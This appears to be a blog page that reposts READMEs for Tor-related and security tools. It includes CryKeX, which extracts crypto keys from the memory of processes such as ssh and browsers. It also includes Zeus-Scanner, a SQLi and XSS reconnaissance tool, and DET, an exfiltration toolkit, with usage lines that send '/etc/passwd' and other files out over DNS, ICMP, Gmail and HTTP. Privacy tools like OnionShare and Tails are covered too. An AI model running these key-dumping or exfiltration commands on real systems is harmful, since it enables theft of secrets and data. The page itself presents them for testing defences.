Termux ID: TOR -->

    Social Items

Home / TOR

CryKeX - Linux Memory Cryptographic Keys Extractor

Properties:
  • Cross-platform
  • Minimalism
  • Simplicity
  • Interactivity
  • Compatibility/Portability
  • Application Independable
  • Process Wrapping
  • Process Injection

Dependencies:
  • Unix - should work on any Unix-based OS
    • BASH - the whole script
    • root privileges (optional)
Limitations:
  • AES and RSA keys only
  • Fails most of the time for Firefox browser
  • Won't work for disk encryption (LUKS) and PGP/GPG
  • Needs proper user privileges and memory authorizations

How it works
Some work has been already published regarding the subject of cryptograhic keys security within DRAM. Basically, we need to find something that looks like a key (entropic and specific length) and then confirm its nature by analyzing the memory structure around it (C data types).
The idea is to dump live memory of a process and use those techniques in order to find probable keys since, memory mapping doesn't change. Thanks-fully, tools exist for that purpose.
The script is not only capable of injecting into already running processes, but also wrapping new ones, by launching them separately and injecting shortly afterwards. This makes it capable of dumping keys from almost any process/binary on the system.
Of course, accessing a memory is limited by kernel, which means that you will still require privileges for a process.
Linux disk ecnryption (LUKS) uses anti-forensic technique in order to mitigate such issue, however, extracting keys from a whole memory is still possible.
Firefox browser uses somehow similar memory management, thus seems not to be affected.
Same goes for PGP/GPG.

HowTo
Installing dependencies:
sudo apt install gdb aeskeyfind rsakeyfind || echo 'have you heard about source compiling?'
An interactive example for OpenSSL AES keys:
openssl aes-128-ecb -nosalt -out testAES.enc
Enter a password twice, then some text and before terminating:
CryKeX.sh openssl
Finally, press Ctrl+D 3 times and check the result.
OpenSSL RSA keys:
openssl genrsa -des3 -out testRSA.pem 2048
When prompted for passphrase:
CryKeX.sh openssl
Verify:
openssl rsa -noout -text -in testRSA.pem
Let's extract keys from SSH:
echo 'Ciphers aes256-gcm@openssh.com' >> /etc/ssh/sshd_config
ssh user@server
CryKeX.sh ssh
From OpenVPN:
echo 'cipher AES-256-CBC' >> /etc/openvpn/server.conf
openvpn yourConf.ovpn
sudo CryKeX.sh openvpn
TrueCrypt/VeraCrypt is also affected: Select "veracrypt" file in VeraCrypt, mount with password "pass" and:
sudo CryKeX.sh veracrypt
Chromium-based browsers (thanks Google):
CryKeX.sh chromium
CryKeX.sh google-chrome
Despite Firefox not being explicitly affected, Tor Browser Bundle is still susceptible due to tunneling:
CryKeX.sh tor
As said, you can also wrap processes:
apt install libssl-dev
gcc -lcrypto cipher.c -o cipher
CryKeX.sh cipher
 wrap
 cipher


CryKeX - Linux Memory Cryptographic Keys Extractor


Zeus is an advanced reconnaissance utility designed to make web application reconnaissance simple. Zeus comes complete with a powerful built-in URL parsing engine, multiple search engine compatibility, the ability to extract URLs from both ban and webcache URLs, the ability to run multiple vulnerability assessments on the target, and is able to bypass search engine captchas.

Features
  • A powerful built in URL parsing engine
  • Multiple search engine compatibility (DuckDuckGo, AOL, Bing, and Google default is Google)
  • Ability to extract the URL from Google's ban URL thus bypassing IP blocks
  • Ability to extract from Google's webcache URL
  • Proxy compatibility (http, https, socks4, socks5)
  • Tor proxy compatibility and Tor browser emulation
  • Parse robots.txt/sitemap.xml and save them to a file
  • Multiple vulnerability assessments (XSS, SQLi, clickjacking, port scanning, admin panel finding, whois lookups, and more)
  • Tamper scripts to obfuscate XSS payloads
  • Can run with a custom default user-agent, one of over 4000 random user-agents, or a personal user-agent
  • Automatic issue creation when an unexpected error arises
  • Ability to crawl a webpage and pull all the links
  • Can run a singular dork, multiple dorks in a given file, or a random dork from a list of over 5000 carefully researched dorks
  • Dork blacklisting when no sites are found with the search query, will save the query to a blacklist file
  • Identify WAF/IPS/IDS protection of over 20 different firewalls
  • Header protection enumeration to check what kind of protection is provided via HTTP headers
  • Saving cookies, headers, and other vital information to log files
  • and much more...

Screenshots

Running without a mandatory options, or running the --help flag will output Zeus's help menu:


 A basic dork scan with the -d flag, from the given dork will launch an automated browser and pull the Google page results:


  Calling the -s flag will prompt for you to start the sqlmap API server python sqlmapapi.py -s from sqlmap, it will then connect to the API and perform a sqlmap scan on the found URL's.


You can see more screenshots here

Demo


Requirements
There are some requirements for this to be run successfully.

Basic requirements
  • libxml2-dev, libxslt1-dev, python-dev are required for the installation process
  • Firefox web browser is required as of now, you will need Firefox version <=57 >=51 (between 51 and 57). Full functionality for other browsers will eventually be added.
  • If you want to run sqlmap through the URL's you will need sqlmap somewhere on your system.
  • If you want to run a port scan using nmap on the URL's IP addresses. You will need nmap on your system.
  • Geckodriver is required to run the firefox web browser and will be installed the first time you run. It will be added to your /usr/bin so that it can be run in your ENV PATH.
  • You must be sudo for the first time running this so that you can add the driver to your PATH, you also may need to run as sudo depending on your permissions. NOTE: Depending on permissions you may need to be sudo for any run involving the geckodriver
  • xvfb is required by pyvirtualdisplay, it will be installed if not installed on your first run

Python package requirements
  • selenium-webdriver package is required to automate the web browser and bypass API calls.
  • requests package is required to connect to the URL, and the sqlmap API
  • python-nmap package is required to run nmap on the URL's IP addresses
  • whichcraft package is required to check if nmap and sqlmap are on your system if you want to use them
  • pyvirtualdisplay package is required to hide the browser display while finding the search URL
  • lxml is required to parse XML data for the sitemap and save it as such
  • psutil is required to search for running sqlmap API sessions
  • beautifulsoup is required to pull all the HREF descriptor tags and parse the HTML into an easily workable syntax

Installation
You can download the latest tar.gz, the latest zip, or you can find the current stable release here. Alternatively you can install the latest development version by following the instructions that best match your operating system:
NOTE: (optional but highly advised) add sqlmap and nmap to your environment PATH by moving them to /usr/bin or by adding them to the PATH via terminal

Ubuntu/Debian
sudo apt-get install libxml2-dev libxslt1-dev python-dev &&  git clone https://github.com/ekultek/zeus-scanner.git && cd zeus-scanner && sudo pip2 install -r requirements.txt && sudo python zeus.py

centOS
sudo apt-get install gcc python-devel libxml2-dev libxslt1-dev python-dev && git clone https://github.com/ekultek/zeus-scanner.git && cd zeus-scanner && sudo pip2 install -r requirements.txt && sudo python zeus.py

Others
sudo apt-get install libxml2-dev libxslt1-dev python-dev && git clone https://github.com/ekultek/zeus-scanner.git && cd zeus-scanner && sudo pip2 install -r requirements.txt && sudo python zeus.py
This will install all the package requirements along with the geckodriver


Zeus-Scanner - Advanced Reconnaissance Utility

OnionShare lets you securely and anonymously share files of any size. It works by starting a web server, making it accessible as a Tor onion service, and generating an unguessable URL to access and download the files. It doesn't require setting up a server on the internet somewhere or using a third party file-sharing service. You host the file on your own computer and use a Tor onion service to make it temporarily accessible over the internet. The other user just needs to use Tor Browser to download the file from you.

How to Use

Open OnionShare, drag and drop files and folders you wish to share into it, and click Start Sharing. After a moment, it will show you a .onion URL such as http://asxmi4q6i7pajg2b.onion/egg-cain. This is the secret URL that can be used to download the file you're sharing.
Send this URL to the person you're sending the files to. If the files you're sending aren't secret, you can use normal means of sending the URL, like by emailing it, or sending it in a Facebook or Twitter private message. If you're sending secret files then it's important to send this URL securely.

The person who is receiving the files doesn't need OnionShare. All they need is to open the URL you send them in Tor Browser to be able to download the file.



OnionShare - Securely and anonymously share a file of any size


Use nmap to scan hidden "onion" services on the Tor network. Minimal image based on alpine, using proxychains to wrap nmap. Tor and dnsmasq are run as daemons via s6, and proxychains wraps nmap to use the Tor SOCKS proxy on port 9050. Tor is also configured via DNSPort to anonymously resolve DNS requests to port 9053. dnsmasq is configured to with this localhost:9053 as an authority DNS server. Proxychains is configured to proxy DNS through the local resolver, so all DNS requests will go through Tor and applications can resolve .onion addresses.

Example:
$ docker run --rm -it milesrichardson/onion-nmap -p 80,443 facebookcorewwwi.onion
[tor_wait] Wait for Tor to boot... (might take a while)
[tor_wait] Done. Tor booted.
[nmap onion] nmap -p 80,443 facebookcorewwwi.onion
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/libproxychains4.so
[proxychains] DLL init: proxychains-ng 4.12

Starting Nmap 7.60 ( https://nmap.org ) at 2017-10-23 16:17 UTC
[proxychains] Dynamic chain  ...  127.0.0.1:9050  ...  facebookcorewwwi.onion:443  ...  OK
[proxychains] Dynamic chain  ...  127.0.0.1:9050  ...  facebookcorewwwi.onion:80  ...  OK
Nmap scan report for facebookcorewwwi.onion (224.0.0.1)
Host is up (2.7s latency).

PORT    STATE SERVICE
80/tcp  open  http
443/tcp open  https

Nmap done: 1 IP address (1 host up) scanned in 3.58 seconds

How it works:
When the container boots, it launches Tor and dnsmasq as daemons. The tor_wait script then waits for the Tor SOCKS proxy to be up before executing your command.

Arguments:
By default, args to docker run are passed to /bin/nmap which calls nmap with args -sT -PN -n "$@" necessary for it to work over Tor (via explainshell.com).
For example, this:
docker run --rm -it milesrichardson/onion-nmap -p 80,443 facebookcorewwwi.onion
will be executed as:
proxychains4 -f /etc/proxychains.conf /usr/bin/nmap -sT -PN -n -p 80,443 facebookcorewwwi.onion
In addition to the custom script for nmap, custom wrapper scripts for curl and nc exist to wrap them in proxychains, at /bin/curl and /bin/nc. To call them, simply specify curl or nc as the first argument to docker run. For example:
docker run --rm -it milesrichardson/onion-nmap nc -z 80 facebookcorewwwi.onion
will be executed as:
proxychains4 -f /etc/proxychains.conf /usr/bin/nc -z 80 facebookcorewwwi.onion
and
docker run --rm -it milesrichardson/onion-nmap curl -I https://facebookcorewwwi.onion
will be executed as:
proxychains4 -f /etc/proxychains.conf /usr/bin/curl -I https://facebookcorewwwi.onion
If you want to call any other command, including the original /usr/bin/nmap or /usr/bin/nc or /usr/bin/curl you can specify it as the first argument to docker run, e.g.:
docker run --rm -it milesrichardson/onion-nmap /usr/bin/curl -x socks4h://localhost:9050 https://facebookcorewwwi.onion

Environment variables:
There is only one environment variable: DEBUG_LEVEL. If you set it to anything other than 0, more debugging info will be printed (specifically, the attempted to connections to Tor while waiting for it to boot). Example:
$ docker run -e DEBUG_LEVEL=1 --rm -it milesrichardson/onion-nmap -p 80,443 facebookcorewwwi.onion
[tor_wait] Wait for Tor to boot... (might take a while)
[tor_wait retry 0] Check socket is open on localhost:9050...
[tor_wait retry 0] Socket OPEN on localhost:9050
[tor_wait retry 0] Check SOCKS proxy is up on localhost:9050 (timeout 2 )...
[tor_wait retry 0] SOCKS proxy DOWN on localhost:9050, try again...
[tor_wait retry 1] Check socket is open on localhost:9050...
[tor_wait retry 1] Socket OPEN on localhost:9050
[tor_wait retry 1] Check SOCKS proxy is up on localhost:9050 (timeout 4 )...
[tor_wait retry 1] SOCKS proxy DOWN on localhost:9050, try again...
[tor_wait retry 2] Check socket is open on localhost:9050...
[tor_wait retry 2] Socket OPEN on localhost:9050
[tor_wait retry 2] Check SOCKS proxy is up on localhost:9050 (timeout 6 )...
[tor_wait retry 2] SOCKS proxy UP on localhost:9050
[tor_wait] Done. Tor booted.
[nmap onion] nmap -p 80,443 facebookcorewwwi.onion
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/libproxychains4.so
[proxychains] DLL init: proxychains-ng 4.12

Starting Nmap 7.60 ( https://nmap.org ) at 2017-10-23 16:34 UTC
[proxychains] Dynamic chain  ...  127.0.0.1:9050  ...  facebookcorewwwi.onion:443  ...  OK
[proxychains] Dynamic chain  ...  127.0.0.1:9050  ...  facebookcorewwwi.onion:80  ...  OK
Nmap scan report for facebookcorewwwi.onion (224.0.0.1)
Host is up (2.8s latency).

PORT    STATE SERVICE
80/tcp  open  http
443/tcp open  https

Nmap done: 1 IP address (1 host up) scanned in 4.05 seconds


docker-onion-nmap - Scan .onion hidden services with nmap using Tor, proxychains and dnsmasq in a minimal alpine Docker container


Exitmap is a fast and modular Python-based scanner for Tor exit relays. Exitmap modules implement tasks that are run over (a subset of) all exit relays. If you have a background in functional programming, think of exitmap as a map() interface for Tor exit relays: Modules can perform any TCP-based networking task like fetching a web page, uploading a file, connecting to an SSH server, or joining an IRC channel.

In practice, exitmap is useful to monitor the reliability and trustworthiness of exit relays. The Tor Project uses exitmap to check for false negatives on the Tor Project's check service and to find malicious exit relays. It is easy to develop new modules for exitmap; just have a look at the file HACKING in the doc/ directory or check out one of the existing modules.
Exitmap uses Stem to create circuits to all given exit relays. Each time tor notifies exitmap of an established circuit, a module is invoked for the newly established circuit. Modules can be pure Python scripts or executables. For executables, torsocks is necessary.

Finally, note that exitmap is a network measurement tool and of little use to ordinary Tor users. The Tor Project is already running the tool regularly. More exitmap scans just cause unnecessary network load. The only reason exitmap is publicly available is because its source code and design might be of interest to some.

Installation
Exitmap uses the library Stem to communicate with Tor. There are plenty of ways to install Stem. The easiest might be to use pip in combination with the provided requirements.txt file:
$ pip install -r requirements.txt

Running exitmap
The only argument exitmap requires is the name of a module. For example, you can run exitmap with the checktest module by running:
$ ./bin/exitmap checktest
The command line output will then show you how Tor bootstraps, the output of the checktest module, and a scan summary. If you don't need three hops and prefer to use two hops with a static first hop, run:
$ ./bin/exitmap --first-hop 1234567890ABCDEF1234567890ABCDEF12345678 checktest
To run the same test over German exit relays only, execute:
$ ./bin/exitmap --country DE --first-hop 1234567890ABCDEF1234567890ABCDEF12345678 checktest
If you want to pause for five seconds in between circuit creations to reduce the load on the Tor network and the scanning destination, run:
$ ./bin/exitmap --build-delay 5 checktest
Note that 1234567890ABCDEF1234567890ABCDEF12345678 is a pseudo fingerprint that you should replace with an exit relay that you control.
To learn more about all of exitmap's options, run:
$ ./bin/exitmap --help
Exitmap comes with batteries included, providing the following modules:
  • testfds: Tests if an exit relay is able to fetch the content of a simple web page. If an exit relay is unable to do that, it might not have enough file descriptors available.
  • checktest: Attempts to find false negatives in the Tor Project's check service.
  • dnspoison: Attempts to resolve several domains and compares the received DNS A records to the expected records.
  • dnssec: Detects exit relays whose resolver does not validate DNSSEC.
  • patchingCheck: Checks for file tampering.
  • cloudflared: Checks if a web site returns a CloudFlare CAPTCHA.
  • rtt: Measure round-trip times through an exit to various destinations.

Configuration
By default, exitmap tries to read the file .exitmaprc in your home directory. The file accepts all command line options, but you have to replace minuses with underscores. Here is an example:
[Defaults]
first_hop = 1234567890ABCDEF1234567890ABCDEF12345678
verbosity = debug
build_delay = 1
analysis_dir = /path/to/exitmap_scans

Alternatives
Don't like exitmap? Then have a look at tortunnel, SoaT, torscanner, DetecTor, or SelekTOR.

Tests
Before submitting pull requests, please make sure that all unit tests pass by running:
$ pip install -r requirements-dev.txt
$ py.test --cov-report term-missing --cov-config .coveragerc --cov=src test


Exitmap - A Fast and Modular Scanner for TOR Exit Relays


DET (is provided AS IS), is a proof of concept to perform Data Exfiltration using either single or multiple channel(s) at the same time.
This is a Proof of Concept aimed at identifying possible DLP failures. This should never be used to exfiltrate sensitive/live data (say on an assessment)
The idea was to create a generic toolkit to plug any kind of protocol/service to test implmented Network Monitoring and Data Leakage Prevention (DLP) solutions configuration, against different data exfiltration techniques.

Slides
DET has been presented at BSides Ljubljana on the 9th of March 2016 and the slides will be available here. Slides are available here.

Example usage (ICMP plugin)

Server-side:

Client-side:

Usage while combining two channels (Gmail/Twitter)

Server-side:

Client-side:

Installation
Clone the repo:
git clone https://github.com/sensepost/DET.git
Then:
pip install -r requirements.txt --user

Configuration
In order to use DET, you will need to configure it and add your proper settings (eg. SMTP/IMAP, AES256 encryption passphrase and so on). A configuration example file has been provided and is called: config-sample.json
{
    "plugins": {
        "http": {
            "target": "192.168.1.101",
            "port": 8080
        },
        "google_docs": {
            "target": "192.168.1.101",
            "port": 8080,
        },
        "dns": {
            "key": "google.com",
            "target": "192.168.1.101",
            "port": 53
        },
        "gmail": {
            "username": "dataexfil@gmail.com",
            "password": "ReallyStrongPassword",
            "server": "smtp.gmail.com",
            "port": 587
        },
        "tcp": {
            "target": "192.168.1.101",
            "port": 6969
        },
        "udp": {
            "target": "192.168.1.101",
            "port": 6969
        },
        "twitter": {
            "username": "PaulWebSec",
            "CONSUMER_TOKEN": "XXXXXXXXX",
            "CONSUMER_SECRET": "XXXXXXXXX",
            "ACCESS_TOKEN": "XXXXXXXXX",
            "ACCESS_TOKEN_SECRET": "XXXXXXXXX"
        },
        "icmp": {
            "target": "192.168.1.101"
        }
    },
    "AES_KEY": "THISISACRAZYKEY",
    "sleep_time": 10
}

Usage

Help usage
python det.py -h
usage: det.py [-h] [-c CONFIG] [-f FILE] [-d FOLDER] [-p PLUGIN] [-e EXCLUDE]
              [-L]

Data Exfiltration Toolkit (SensePost)

optional arguments:
  -h, --help  show this help message and exit
  -c CONFIG   Configuration file (eg. '-c ./config-sample.json')
  -f FILE     File to exfiltrate (eg. '-f /etc/passwd')
  -d FOLDER   Folder to exfiltrate (eg. '-d /etc/')
  -p PLUGIN   Plugins to use (eg. '-p dns,twitter')
  -e EXCLUDE  Plugins to exclude (eg. '-e gmail,icmp')
  -L          Server mode

Server-side:
To load every plugin:
python det.py -L -c ./config.json
To load only twitter and gmail modules:
python det.py -L -c ./config.json -p twitter,gmail
To load every plugin and exclude DNS:
python det.py -L -c ./config.json -e dns

Client-side:
To load every plugin:
python det.py -c ./config.json -f /etc/passwd
To load only twitter and gmail modules:
python det.py -c ./config.json -p twitter,gmail -f /etc/passwd
To load every plugin and exclude DNS:
python det.py -c ./config.json -e dns -f /etc/passwd
And in PowerShell (HTTP module):
PS C:\Users\user01\Desktop>
PS C:\Users\user01\Desktop> . .\http_exfil.ps1
PS C:\Users\user01\Desktop> HTTP-exfil 'C:\path\to\file.exe'

Modules
So far, DET supports multiple protocols, listed here:
  • HTTP(S)
  • ICMP
  • DNS
  • SMTP/IMAP (eg. Gmail)
  • Raw TCP
  • PowerShell implementation (HTTP, DNS, ICMP, SMTP (used with Gmail))
And other "services":
  • Google Docs (Unauthenticated)
  • Twitter (Direct Messages)

Experimental modules
So far, I am busy implementing new modules which are almost ready to ship, including:
  • Skype (95% done)
  • Tor (80% done)
  • Github (30/40% done)

Roadmap

References
Some pretty cool references/credits to people I got inspired by with their project:

DET - (extensible) Data Exfiltration Toolkit


Tallow is a small program that redirects all outbound traffic from a Windows machine via the Tor anonymity network. Any traffic that cannot be handled by Tor, e.g. UDP, is blocked. Tallow also intercepts and handles DNS requests preventing potential leaks.
Tallow has several applications, including:
  • "Tor-ifying" applications there were never designed to use Tor
  • Filter circumvention -- if you wish to bypass a local filter and are not so concerned about anonymity
  • Better-than-nothing-Tor -- Some Tor may be better than no Tor.

Usage
Using the Tallow GUI, simply press the big "Tor" button to start redirecting traffic via the Tor network. Press the button again to stop Tor redirection. Note that your Internet connection may be temporarily interrupted each time you toggle the button.
To test if Tor redirection is working, please visit the following site: https://check.torproject.org.

Technical
Tallow uses the following configuration to connect to the Internet:
+-----------+        +-----------+        +----------+
|    PC     |------->|    TOR    |------->|  SERVER  |
|  a.b.c.d  |<-------|  a.b.c.d  |<-------|  x.y.z.w |
+-----------+        +-----------+        +----------+
Here (a.b.c.d) represents the local address, and (x.y.z.w) represents a remote server.
Tallow uses WinDivert to intercept all traffic to/from your PC. Tallow handles two main traffic types: DNS traffic and TCP streams.
DNS queries are intercepted and handled by Tallow itself. Instead of finding the real IP address of a domain, Tallow generates a pseudo-random "fake" domain (in the range 44.0.0.0/24) and uses this address in the query response. The fake-IP is also associated with the domain and recorded in a table for later reference. The alternative would be to look up the real IP via the Tor (which supports DNS). However, since Tallow uses SOCKS4a the real IP is not necessary. Handling DNS requests locally is significantly faster.
TCP connections are also intercepted. Tallow "reflects" outbound TCP connects into inbound SOCKS4a connects to the Tor program. If the connection is to a fake-IP, Tallow looks up the corresponding domain and uses this for the SOCKS4a connection. Otherwise the connection is blocked (by default) or a SOCKS4 direct connection via Tor is used. Connecting TCP to SOCKS4(a) is possible with a bit of magic (see redirect.c).
All other traffic is simply blocked. This includes all inbound (non-Tor) traffic and outbound traffic that is not TCP nor DNS. In addition, Tallow blocks all domains listed in the hosts.deny file. This includes domains such as Windows update, Windows phone home, and some common ad servers, to help prevent Tor bandwidth wastage. It is possible to edit and customize your hosts.deny file as you see fit.
Note that Tallow does not intercept TCP ports 9001 and 9030 that are used by Tor. As a side-effect, Tallow will not work on any other program that uses these ports.

History
Tallow was derived from the TorWall prototype (where "tallow" is an anagram of "torwall" minus the 'r').
Tallow works slightly differently, and aims to redirect all traffic rather than just HTTP port 80. Also, unlike the prototype, Tallow does not use Privoxy nor does it alter the content of any TCP streams in any way (see warnings below).

Building
To build Tallow you need the MinGW cross-compiler for Linux.
You also need to download and place the following external dependencies and place them in the contrib/ directory:
Then simply run the build.sh script.


TorWall - Transparent Tor for Windows


Tails is a live system that aims to preserve your privacy and anonymity. It helps you to use the Internet anonymously and circumvent censorship almost anywhere you go and on any computer but leaving no trace unless you ask it to explicitly.

It is a complete operating system designed to be used from a DVD, USB stick, or SD card independently of the computer's original operating system.

Changes

New features

  • Added support for PPPoE and dial-up Internet connections.
  • Installed BookletImposer to convert linear PDF documents into booklets, and vice-versa.
  • Added GNOME Screen Keyboard to replace Florence, the previous virtual keyboard, which had many issues.

Upgrades and changes

  • Tails releases Upgrade Linux to 4.12.12. This should improve the support for newer hardware, especially NVIDIA Maxwell graphics card.
  • Upgrade Thunderbird from 45.8 to 52.3.

User experience

  • Require a 8 GB USB stick to install Tails. 4 GB USB sticks that are already installed can still be upgraded.
  • Tails Installer now detects when the target USB stick has Tails installed already and automatically proposes to upgrade. This made possible to remove the initial splash screen.

Security

  • Disable Bluetooth to protect against the BlueBorne attack. #14655
  • Increase the randomization of ASLR to the maximum. #11840
  • Deny access to the D-Bus service of Pidgin to prevent other applications to access and modify its configuration. #14612.

Fixed problems

  • Fix the import of secret OpenPGP keys in Password and Keys. #12733
For more details, read our changelog.

Known issues

None specific to this release.

See the list of long-standing issues.


Tails 3.2 - Live System to Preserve Your Privacy and Anonymity

Subscribe to: Posts (Atom)